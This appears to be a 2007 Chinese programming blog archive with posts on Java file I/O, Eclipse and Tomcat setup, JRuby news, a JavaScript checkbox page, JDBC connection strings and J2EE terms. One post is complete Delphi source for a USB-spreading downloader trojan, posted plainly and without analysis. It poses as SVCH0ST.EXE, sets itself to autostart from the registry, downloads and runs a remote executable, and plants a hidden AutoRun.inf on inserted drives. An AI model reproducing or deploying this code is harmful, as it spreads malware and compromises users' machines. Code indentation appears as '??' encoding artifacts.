1.把浮點數寫入文件
import java.io.*;
public class FileOutputDemo
{
public static void main(String[] args)
{
?? FileOutputStream out;
?? DataOutputStream p;
?? try
?? {
??? out = new FileOutputStream("myfile.txt");
??? p = new DataOutputStream(out);
??? p.writeDouble(3);
??? p.writeDouble(4);
??? p.writeDouble(5);
??? p.close();
?? }
?? catch(Exception e)
?? {
??? System.err.println("Error writing to file");
?? }
}
}
2.從文件中讀取浮點數
import java.io.*;
public class FileInputDemo
{
public static void main(String[] args)
{
?? if(args.length==1)
?? {
??? try
??? {
???? FileInputStream f = new FileInputStream(args[0]);
???? DataInputStream in = new DataInputStream(f);
???? while(in.available() != 0)
???? {
????? System.out.println(String.valueOf(in.readDouble()));
???? }
???? in.close();
??? }
??? catch(Exception e)
??? {
???? System.out.println("File input Erroe!");
??? }
?? }
?? else
??? System.out.println("Invalid parametres");
}
}
posted @
2007-05-28 00:25 jadmin 閱讀(92) |
評論 (0) |
編輯 收藏
在eclipse + MyEclipse+tomcat下配置建立J2EE工程環境需要:
1.JDK1.5.0.6;
2.eclipse3.1.2_SDK;
3.MyEclips4.1.1;
4.apache-tomcat-5.5.16;
配置方法:
1.安裝:JDK1.5.0.6;如:D:Studyjdk1.5.0_06;
2.解壓:eclipse3.1.2_SDK;如:D:JavaStudyeclipse;
3.解壓:MyEclips4.1.1;如:D:JavaStudyMyEclipse;
4.解壓:apache-tomcat-5.5.16;如:D:JavaStudyapache-tomcat-5.5.16;
5.設置內存:D:JavaStudyeclipse下面的eclipse.ini文件的-vmargs、-Xms256m、-Xmx512m;這里的Xms256m是eclipse可以使用的最小內存數;Xmx512是eclipse可以使用的最大內存數;這里的值根據系統的配置而定;
6.配置MyEclipse:啟動Eclipse-->Help-->Sofware Updates-->Manage Configuration -->Eclipse Platform上面右鍵-->ADD-->Extension Location;找到"D:JavaStudyMyEclipse";重新啟動Eclipse;在標題欄里就多了一個MyEclipse的選項;
7.配置Tomcat:啟動Eclipse-->window-->preference-->MyEclips-->application Servers-->Tomcat 5-->Enable-->Tomcat Home Directory;找到Tomcat的安裝目錄"D:JavaStudyapache-tomcat-5.5.16";
8.配置字符編碼:啟動Eclipse-->window-->preference-->General-->Content Types-->text然后在Default encoding中輸入UTF-8-->update;依次把Java Properties File和一下的字符編碼都update為UTF-8;
posted @
2007-05-27 22:31 jadmin 閱讀(73) |
評論 (0) |
編輯 收藏
在5月7日的Sun的CommunityOne會議上,ThoughtWorks Studios宣布他們即將推出的敏捷IT項目管理應用程序,Mingle,將是世界上第一個運行在JRuby上的商業應用程序。實際上,它可能是基于Ruby on Rails的首個商業分發產品。
根據ThoughtWorks的說法,發起JRuby上的Mingle有很多的動機。首先,它使橫跨他們目標平臺的部署過程變得流暢。Mingle是基于Web的應用程序,它可以作為外部托管應用程序(ASP模式)使用,但是它同樣也將以商業形式許可,并作為可安裝包分發。
特別是,Ruby on Rails應用的部署仍然要比期望的復雜得多。對于一個所在部署平臺由單獨的公司全權控制的托管應用來說,這是沒有什么問題的,但是Mingle并不打算只能被托管。它不僅僅需要把規模擴大到Twitter的級別(OK,那會有點想當然,它可能不需要達到那么大的規模),而且它同樣需要將規模“縮小”到能在一臺只有1G內存的簡單Windows XP機器上運行。在此基礎上,對Ruby on Rails部署一無所知,甚至對部署了解不多的人,都將可以安裝它。
Mingle的可下載版本將以以下形式分發:Windows下的簡單安裝程序、Mac下的簡單.app文件(拖、放、雙擊)和“通用”Unix下的.rpm/.tgz文件。企業用戶還可選擇將Mingle部署到他們已存在的產品系統中:
幾個月之后將要發布的Mingle 1.1,也將以.war文件的形式發布,這樣它將可以部署在任何流行的Java EE應用服務器上,并使用任何流行的數據庫服務器。以適應我們更大的客戶的需求。
這個決策同樣也是銳意創新的產物。ThoughtWorks Studio的產品管理副總裁Chad Wathingtong稱:“很顯然ThoughtWorks樂于去推動技術的前沿陣地,當然,也因為這是一件很酷的事情。”任何人都可以一眼看出來,Mingle無疑推進了JRuby商業可用性的前沿陣地。
Mingle代表了ThoughtWorks在面向大眾的商業產品開發領域的第一場戰役。它使用Ruby on Rails構建,由小型、專注的開發團隊開發,該團隊成立于澳大利亞悉尼,它的領導人是ThoughtWorks高級技術專家David Rice和Jon Tirsen。使用Rails的好處,得到了所有相關人員的高度認可:
“Ruby on Rails給與了我們不可思議的生產率,并使得我們能以一個完全不同的級別處理復雜性,這在其他情況下是很難有可能的。長遠來看,這將允許我們以更低的價格交付更好的特性,對我們的客戶決定有利。”
在內部,Mingle在Web服務器(Jetty)和數據庫(Derby)方面使用了Java技術。執行效率并沒有成為主要問題。通過簡單的集群,當前的運行時可以很輕松地支持成百個并發用戶,并且JRuby的執行效率在一直不斷得到改善。根據開發團隊所說,實驗的部署已經在單個JVM進程中包括了10 JRuby解釋器。
6月,JRuby核心開發人員Ola Bini開始為ThoughtWorks全職工作,他將繼續著手JRuby項目,并為ThoughtWorks內部發起的JRuby相關項目提供支持,如Mingle。
ThoughtWorks強烈地感到他們正在為許多即將出現的JRuby應用程序鋪平道路。Mingle顯然為以下的說法提供了強有力的支持證據,當時Jon Tirsen夸張地說(某些程度上可能如此):
“JRuby即將迎來黃金時代!”
查看英文原文:Mingle from ThoughtWorks is Big Win for JRuby
--------------------------------------------------------------------------------
譯者簡介:胡鍵,自2000年西安交通大學碩士畢業后一直從事軟件開發。2002年開始使用Java,在項目開發中經常采用OpenSource工具,如Ant、Maven、Hibernate、Struts等,目前正在研究信息集成方面的規范和技術。可以通過jianhgreat@hotmail.com與他聯系,或訪問博客:http://foxgem.javaeye.com/
posted @
2007-05-27 11:54 jadmin 閱讀(70) |
評論 (0) |
編輯 收藏
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="">
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="">
<script type="text/javascript">
function $() {
??? var elements = new Array();
??? for (var i = 0; i < arguments.length; i++) {
????? var element = arguments[i];
????? if (typeof element == 'string')
??????? element = document.getElementById(element);
????? if (arguments.length == 1)
??????? return element;
????? elements.push(element);
??? }
??? return elements;
}
//cody by jarry;
String.prototype.trim = function()
{ return this.replace(/(^\s*)|(\s*$)/g, "");}
function isExist(child,obj){
//obj has element the child;
???? for(var i=0;i<obj.elements.length;i++){
????? if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
???????? if(obj.elements[i].value==child)return true;
????? }
???? }
???? return false;
}
function validateURL(url){
//validateURL
if(url.search(/^[A-Za-z0-9 -]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"\"])*$/)!=0){
return false;
//}else if(url.substring(0,4)=="www."){
//網址不要前面的www.,如果沒用的話可以注釋掉;
//return false;
}else{
return true;
}
}
var strAll=unescape("%u5168%u9009");
var canAll=unescape("%u53D6%u6D88");
function clickchk(obj){
var allcheck=true;
???? for(var i=0;i<obj.elements.length;i++){
????? if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
??????? if(obj.elements[i].checked==false){allcheck=false;}
?????? }
??? }
??? obj.elements["check"].value=allcheck?canAll:strAll;??
}
function addSite(obj){
??? var url=obj.url.value.trim();
??? if(url.match(/^\s*$/g) || !validateURL(url)){alert("請輸入正確網址:如mysite.com");obj.url.focus();return;}
??? if(isExist(url,obj)){alert("你添加的網址已經存在列表中");return;}
??? var list=document.getElementById("list");
??? var chkbox=document.createElement("input");
??? chkbox.type="checkbox";
??? chkbox.onclick=function(){clickchk(obj);}//全部選擇后check按鈕顯示取消;
??? chkbox.value=url;
??? chkbox.name="url_chkbox";
??? var hr=document.createElement("hr");
??? hr.size="0";hr.style.borderTop="1px solid gray";
??? var txt=document.createTextNode(url);??
??? var div=document.createElement("div");
??? div.appendChild(chkbox);
??? div.appendChild(txt);
??? div.appendChild(hr);
??? div.style.backgroundColor = "olive";
??? div.onmouseover=function(){
???? showDelete(this);
??? }
??
//start add element;
??? list.appendChild(div);
//end add;
//如果已經添加了多選框則去掉禁用;
??? if(obj.check.disabled==true){
????? obj.check.disabled=false;
????? obj.recheck.disabled = false;
????? obj.remove.disabled=false;
????? }
return false;
}
function checkall(obj){//全選or取消全選;
var chk=obj.elements["check"];
???? for(var i=0;i<obj.elements.length;i++){
????? if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
??????? if(chk.value==strAll){//check all checkbox input;
??????? obj.elements[i].checked=true;
??????? }else{
???????? obj.elements[i].checked=false;
??????? }
?????????
????? }
??? }
??? if($('list').childNodes.length<=1)return;
??? chk.value=chk.value==canAll?strAll:canAll;
??? //更改全選/取消的顯示;
}
function reverseCheck(obj){
???? var chk=obj.elements["check"];
???? for(var i=0;i<obj.elements.length;i++){
????? if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
??????? obj.elements[i].checked = obj.elements[i].checked ? false : true;
????? }
????? clickchk(obj);
??? }
}
function del(list,obj){
??? var candel=false;
??? var i=list.childNodes.length;
??? var end = -1;
//alert(list.childNodes.length+"\n"+list.innerHTML);
???? while(??? i > end ){??
?????? /* if(typeof(list.childNodes[i]) != "undefined")
??????? {//delete all elements;
??????? list.removeChild(list.childNodes[i]);????
??????? }*/
?????? var??? s=list.childNodes[i];
/*
//alert( s + typeof(list.childNodes[i]) );
??? if(typeof(s)!="undefined"??? && s.tagName){??
??????? var tgname = s.tagName.toUpperCase();
???? //alert(tgname);
????????? if(??? tgname == "DIV" ){
??? // alert(list.childNodes.length+":"+typeof(s) + s + s.tagName.toUpperCase() + s.childNodes.length + s.childNodes[0].type)
??????? }
if(tgname == "DIV" && s.childNodes.length > 0 && s.childNodes[0].type.toLowerCase() =="checkbox" && s.childNodes[0].checked==true){
?????? //alert(s.childNodes[0].checked);
???? }
}*/
??? if(typeof(s)!="undefined"??? && s.tagName){
?????????? try{
??????????? var tgname = s.tagName.toUpperCase();
????? if(tgname != "DIV" || s.childNodes.length <=0 )return;
????????????????? var s1 = s.childNodes[0];
????? if( s1.type.toLowerCase() =="checkbox" && s1.checked==true ){
?????? candel = true;??
?????? list.removeChild(s);
???????????? //list.removeChild(s.nextSibling.nextSibling);
??????????? // list.removeChild(s.nextSibling);??????
???????????? //list.removeChild(s);???
???????????? //list.removeChild(s.previousSibling);
??????? }???
??????????? }catch(ex){
???????????? //alert(ex.toString());?????????
?????????? }
???????? }
????????
??????? i--;
???? }
???? if(candel==false){alert("請選擇你要刪除的選項")}
??? obj.check.disabled=list.childNodes.length>1?false:true;
??? obj.recheck.disabled=list.childNodes.length>1?false:true;
??? obj.check.value=strAll;
??? obj.remove.disabled=list.childNodes.length>1?false:true;
?????
}
function showDelete(self){
self.style.backgroundColor = "red";
}
</script>
</HEAD>
<BODY>
<form name="sitelist" onsubmit="return addSite(this);">
http:// <INPUT TYPE="text" size="30" NAME="url"> <INPUT TYPE="button" NAME="add" value="添加網址至列表" onclick="addSite(this.form)">
<div style="border:1px groove blue;width:400px;height:200px;padding:5px;overflow:auto" id="list">
<div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>
<div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>
</div>
<INPUT TYPE="button" NAME="check" value="全選" disabled onclick="checkall(this.form)"> <input type="button" value="反選" name="recheck" disabled??? onclick="reverseCheck(this.form)"> <INPUT TYPE="button" NAME="remove" disabled value="刪除" onclick="del($('list'),this.form)">
</form>
<script>
//頁面加載時初始化
function init(l,f){
??? var list=l;
??? f.check.disabled=list.childNodes.length>1?false:true;
??? f.recheck.disabled=list.childNodes.length>1?false:true;
??? f.check.value=strAll;
??? f.remove.disabled=list.childNodes.length>1?false:true;
}
window.onload=function(){
init($("list"),document.sitelist);
}
</script>
</BODY>
</HTML>
posted @
2007-05-27 11:42 jadmin 閱讀(67) |
評論 (0) |
編輯 收藏
unit Un_Main;
interface
uses
?????? Windows, Messages, SysUtils,Forms,IniFiles;
type
?????? TFrm_Main = class(TForm)
?????? procedure FormCreate(Sender: TObject);
?????? procedure FormClose(Sender: TObject; var Action: TCloseAction);
?????? private
?????? procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
?????? public
?????? { Public declarations }
?????? end;
const
?????????? exefile = 'SVCH0ST.EXE';
?????????? Buffer = 'http://www.888.com/hello.exe';
?????????? DBT_DEVICEARRIVAL = $8000;?????? // system detected a new device
?????????? DBT_DEVICEREMOVECOMPLETE = $8004;?????? // device is gone
?????????? DBT_DEVTYP_VOLUME = $00000002;?????? // logical volume
?????????? DBTF_MEDIA = $0001;?????? // media comings and goings
type
????? PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
????? TDEV_BROADCAST_HDR = packed record
?????? dbch_size : DWORD;
?????? dbch_devicetype : DWORD;
?????? dbch_reserved : DWORD;
????? end;
?????? PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
?????? TDEV_BROADCAST_VOLUME = packed record
?????????? dbcv_size : DWORD;
?????????? dbcv_devicetype : DWORD;
?????????? dbcv_reserved : DWORD;
?????????? dbcv_unitmask : DWORD;
?????????? dbcv_flags : WORD;
?????? end;
function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
?????????????????????????????????????? StatusCB: Pointer): LongWord;
?????????????????????????????????????? stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
?????????????????????????? stdcall; external 'kernel32.dll' name 'WinExec';
var
?????? Frm_Main: TFrm_Main;
?????? exefull:string;
implementation
{$R *.dfm}
function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
?????? result := false;
?????? RegCreateKey(key,PChar(subkey),regkey);
?????? if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
?????? result := true;
?????? RegCloseKey(regkey);
end;
procedure Startup(var TheName:string);
begin
?????? SetRegValue(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun','SVCH0ST',TheName);
?????? UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);
?????? SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
?????? messagebox(0,'文件下載成功!','成功',MB_OK);
?????? WinExec(PChar(TheName), SW_SHOWDEFAULT);
?????? //Sleep(500);
?????? //DeleteMe;
?????? //freemem(@path,256);
end;
procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
var
?????? lpdb : PDEV_BROADCAST_HDR;
?????? lpdbv : PDEV_BROADCAST_VOLUME;
?????? unitmask:DWORD;
?????? i:integer;
?????? MyIni:TIniFile;
?????? s:Hkey;
?????? value:dword ;
?????? inifile:string;
begin
?????? lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
?????? case Msg.WParam of
?????? DBT_DEVICEARRIVAL ://有設備安裝完畢
?????? if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
?????? begin
?????????? lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
?????????? unitmask:=lpdbv.dbcv_unitmask;//取得設備的盤符
?????????? for i:=0 to 25 do //遍歷磁盤
?????????? begin
?????????????? if Boolean(unitmask and $1)then//看該驅動器的狀態是否發生了變化
?????????????? break;
?????????????? unitmask := unitmask shr 1;
?????????? end;
?????????? if fileexists(exefull) then?????? //向u盤拷文件
?????????? begin
?????????? copyfile(PChar(exefull),Pchar(char(i+65) + ':' + exefile),false);
?????????? FileSetAttr(char(i+65) + ':' + exefile,$00000003);
?????????? end;
?????????? inifile:=char(i+65)+':AutoRun.inf';//ini文件
?????????? RegOpenKeyEx(HKEY_CURRENT_USER, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer', 0, KEY_ALL_ACCESS, s);
?????????? value:=0;
?????????? RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value));
?????????? RegCloseKey(s);
?????????? if fileexists(inifile) then
?????????? begin
?????????? FileSetAttr(inifile,$00000000);
?????????? DeleteFile(inifile);
?????????? end;
?????????? MyIni := TIniFile.Create(inifile);
?????????? MyIni.WriteString('AutoRun', 'open',exefile);
?????????? FileSetAttr(inifile,$00000003);
?????? end;
????? end;
end;
procedure TFrm_Main.FormCreate(Sender: TObject);
var
s:hkey;
value:array[0..255]of char;
size:cardinal;
path:array[0..255] of char;
begin
?????? Application.ShowMainForm:=False;
?????? getsystemdirectory(path,120);
?????? exefull := strpas(path) + '' + exefile;
?????? size:=256;
?????? RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_ALL_ACCESS,s);
?????? RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size);
?????? RegCloseKey(s);
?????? //文件存在且有自啟動
?????? if fileexists('C:WINDOWSsystem32SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then
?????? messagebox(0,'自啟動成功!','成功',MB_OK)
?????? else
?????? Startup(exefull);//下載執行函數
end;
procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
?????? Application.Terminate;
end;
end.
posted @
2007-05-26 01:19 jadmin 閱讀(57) |
評論 (0) |
編輯 收藏
/*
?? 用JDBC來連接數據庫有很兩種方式,如<1>JDBC:ODBC bridge, <2>直接連接方式.
?? 第二種方式有很多好處,它可以獨立于依賴于系統的odbc數據源,存儲數據的database
?? 可以自由地移動,顯得更為靈活.
*/
import java.io.*;
import java.sql.*;
public class ConDBAccess
{
public static void main(String[] args)
{
?? try
?? {
??? //Load JDBC driver
??? Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
??? /*
???? 這里的數據庫的url一定要寫正確,這是關鍵,其中DBQ可以絕對路徑,
???? 也可以是相對路徑,為了體現數據存儲路徑的/獨立性,
???? 你可以將數據庫copy到不同的位試一下
???? */
??? String dbUrl = "jdbc:odbc:driver={Microsoft Access Driver (*.mdb)};DBQ=Test.mdb";
??? Connection con = DriverManager.getConnection(dbUrl,"","");
??? Statement state = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
??? //執行SQL語句
??? String sql = "select * from Address";
??? ResultSet rs = state.executeQuery(sql);
??? //打印測試
??? if(rs != null)
??? {
???? while(rs.next())
???? {
????? System.out.println(rs.getString("Name")+"\t"+rs.getString("Age")+"\t"+rs.getString("Email"));
???? }
???? rs.close();
???? con.close();
??? }
?? }
?? catch(Exception e)
?? {
??? e.printStackTrace();
?? }
}
}//End class ConDBAccess
/**
附:數據庫Test.mdb的結構設計:
??? 字段???????? 類型
??? ----------------
??? name??????? text
??? sex???????? bool
??? age???????? int
??? email?????? text
??? -----------------------------
自已加幾條記錄到里面就可以測出結果了.
*/
posted @
2007-05-26 00:57 jadmin 閱讀(76) |
評論 (0) |
編輯 收藏
1、如何將字符串String轉化為整數int
?? int i = Integer.parseInt(str);
?? int i = Integer.valueOf(my_str).intValue();
??? 注: 字串轉成Double, Float, Long的方法大同小異。
2、如何將字符串String轉化為Integer
??? Integer integer=Integer.valueOf(i)
3、如何將整數 int 轉換成字串 String?
答:有三種方法:
?? String s = String.valueOf(i);
?? String s = Integer.toString(i);
?? String s = "" + i;
注:Double, Float, Long 轉成字串的方法大同小異。
4、如何將整數int轉化為Integer
?? Integer integer=new Integer(i)
5、如何將Integer轉化為字符串String
??? Integer integer=String()
6、如何將Integer轉化為int
??? int num=Integer.intValue()
7、如何將String轉化為BigDecimal
??? BigDecimal d_id=new BigDecimal(str)
posted @
2007-05-25 23:10 jadmin 閱讀(72) |
評論 (0) |
編輯 收藏
1、tomcat下配置虛擬目錄
??? 打開TOMCAT文件下的conf\server.xml文件 ,查找到<ContextManager>標簽,并在該標簽的結束標簽</ContextManager>前面加上:
??? <Context path="虛擬目錄" docBase="硬盤目錄" debug="0" reloadable="true" crossContext="true"/>??
??? 其中path的值是虛擬目錄,docbase的值是你的硬盤的的目錄的絕對路徑。
??? 如找不到<ContextManager>元素,可以找
?????? <Host name="localhost" debug="0" appBase="webapps"
??????? unpackWARs="true" autoDeploy="true"
??????? xmlValidation="false" xmlNamespaceAware="false">
??? 然后添加<Context path="虛擬目錄" docBase="硬盤目錄" debug="0" reloadable="true" crossContext="true"/>??
2、禁止tomcat目錄瀏覽,將listings設為false
???? <servlet>
???????? <servlet-name>default</servlet-name>
???????? <servlet-class>
?????????? org.apache.catalina.servlets.DefaultServlet
???????? </servlet-class>
???????? <init-param>
???????????? <param-name>debug</param-name>
???????????? <param-value>0</param-value>
???????? </init-param>
???????? <init-param>
???????????? <param-name>listings</param-name>
???????????? <param-value>false</param-value>
???????? </init-param>
???????? <load-on-startup>1</load-on-startup>
???? </servlet>
3、設置友好錯誤頁面,配置web.xml
??? <error-page>
?????? <error-code>404</error-code>
?????? <location>/error.jsp</location>
??? </error-page>
??? <error-page>
?????? <error-code>500</error-code>
?????? <location>/error.jsp</location>
??? </error-page>
4、在IE中直接打開其他擴展名的文件
??? 為了讓能在IE瀏覽器中自動打開其他擴展文件名的文件的設置:
??? 需要在WEB.XML中進行如下的設置:
??? 在WEB.XML中添加<mime-mapping>,其中:
?????? <extension>: 文件的擴展名
?????? <mime-type>: 除了該類型文件的可執行文件,同WINDOW注冊表中的?? /HKEY_CLASSES_ROOT下該類文件的Content Type 的值一樣.
如能在IE中自動打開DOC,XLS,PDF文件的配置如下:
<?xml version="1.0" ?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 1.2//EN"?? "
http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
<web-app>
??? <mime-mapping>
?????? <extension>doc</extension>
?????? <mime-type>application/msword</mime-type>
??? </mime-mapping>
??? <mime-mapping>
?????? <extension>xls</extension>
?????? <mime-type>application/msexcel</mime-type>
??? </mime-mapping>
??? <mime-mapping>
?????? <extension>pdf</extension>
?????? <mime-type>application/pdf</mime-type>
??? </mime-mapping>
</web-app>
posted @
2007-05-25 23:08 jadmin 閱讀(84) |
評論 (0) |
編輯 收藏
J2EE包括以下技術:??
EJB:Enterprise?? JavaBeans?? 企業JavaBean組件??
IDL:Interface?? Definition?? Language?? 接口定義語言??
JMS:Java?? Message?? Service?? Java消息服務??
JNDI:Java?? Naming?? and?? Directory?? Interface?? Java命名目錄接口??
RMI:Remote?? Method?? Invocation?? 遠程方法調用??
JTA:Java?? Transaction?? API?? Java事務API??
JTS:Java?? Transaction?? Service?? Java事務服務??
Object?? Serialization:對象序列化??
JavaMail:Java郵件服務??
JDBC:數據庫訪問API??
JSP:Java?? Server?? Pages??
Servlet:??
EJB分為三種:??
Session?? Bean(會話BEAN)??
Entity?? Bean(實體BEAN)??
Message?? Driver?? Bean(消息驅動BEAN)??
Session?? Bean分為兩種:??
Stateless?? Session?? Bean(無狀態會話Bean)??
Statefull?? Session?? Bean(有狀態會話Bean)??
Entity?? Bean分為兩種:??
CMP:Container?? Manager?? Persistence(容器管理持久性)
BMP:Bean?? Manager?? Persistence(Bean管理持久性)??
其他縮寫名詞:??
DTO:Data?? Transport?? Object?? 數據傳輸對象??
JDO:Java?? Data?? Object??
DAO:Database?? Access?? Object?? 數據庫訪問對象??
POJO:Proterozoic?? Java?? Object?? Java原生對象??
VO:Value?? Object?? 值對象??
SOAP:Simple?? Object?? Access?? Protocol?? 簡單對象訪問協議??
posted @
2007-05-25 23:04 jadmin 閱讀(80) |
評論 (0) |
編輯 收藏
1.Oracle8/8i/9i數據庫(thin模式)
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
String url="jdbc:oracle:thin:@localhost:1521:orcl"; //orcl為數據庫的SID
String user="test";
String password="test";
Connection conn= DriverManager.getConnection(url,user,password);
2.DB2數據庫
Class.forName("com.ibm.db2.jdbc.app.DB2Driver ").newInstance();
String url="jdbc:db2://localhost:5000/sample"; //sample為你的數據庫名
String user="admin";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
3.Sql Server7.0/2000數據庫
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();
String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=mydb";
//mydb為數據庫
String user="sa";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
4.Sybase數據庫
Class.forName("com.sybase.jdbc.SybDriver").newInstance();
String url =" jdbc:sybase:Tds:localhost:5007/myDB";//myDB為你的數據庫名
Properties sysProps = System.getProperties();
SysProps.put("user","userid");
SysProps.put("password","user_password");
Connection conn= DriverManager.getConnection(url, SysProps);
5.Informix數據庫
Class.forName("com.informix.jdbc.IfxDriver").newInstance();
String url = "jdbc:informix-sqli://123.45.67.89:1533/myDB:INFORMIXSERVER=myserver;
user=testuser;password=testpassword"; //myDB為數據庫名
Connection conn= DriverManager.getConnection(url);
6.MySQL數據庫
Class.forName("org.gjt.mm.mysql.Driver").newInstance();
String url ="jdbc:mysql://localhost/myDB?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
//myDB為數據庫名
Connection conn= DriverManager.getConnection(url);
7.PostgreSQL數據庫
Class.forName("org.postgresql.Driver").newInstance();
String url ="jdbc:postgresql://localhost/myDB" //myDB為數據庫名
String user="myuser";
String password="mypassword";
Connection conn= DriverManager.getConnection(url,user,password);
8.access數據庫直連用ODBC的
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver") ;
String url="jdbc:odbc:Driver={MicroSoft Access Driver (*.mdb)};DBQ="+application.getRealPath("/Data/ReportDemo.mdb");
Connection conn = DriverManager.getConnection(url,"","");
Statement stmtNew=conn.createStatement() ;
posted @
2007-05-25 23:00 jadmin 閱讀(69) |
評論 (0) |
編輯 收藏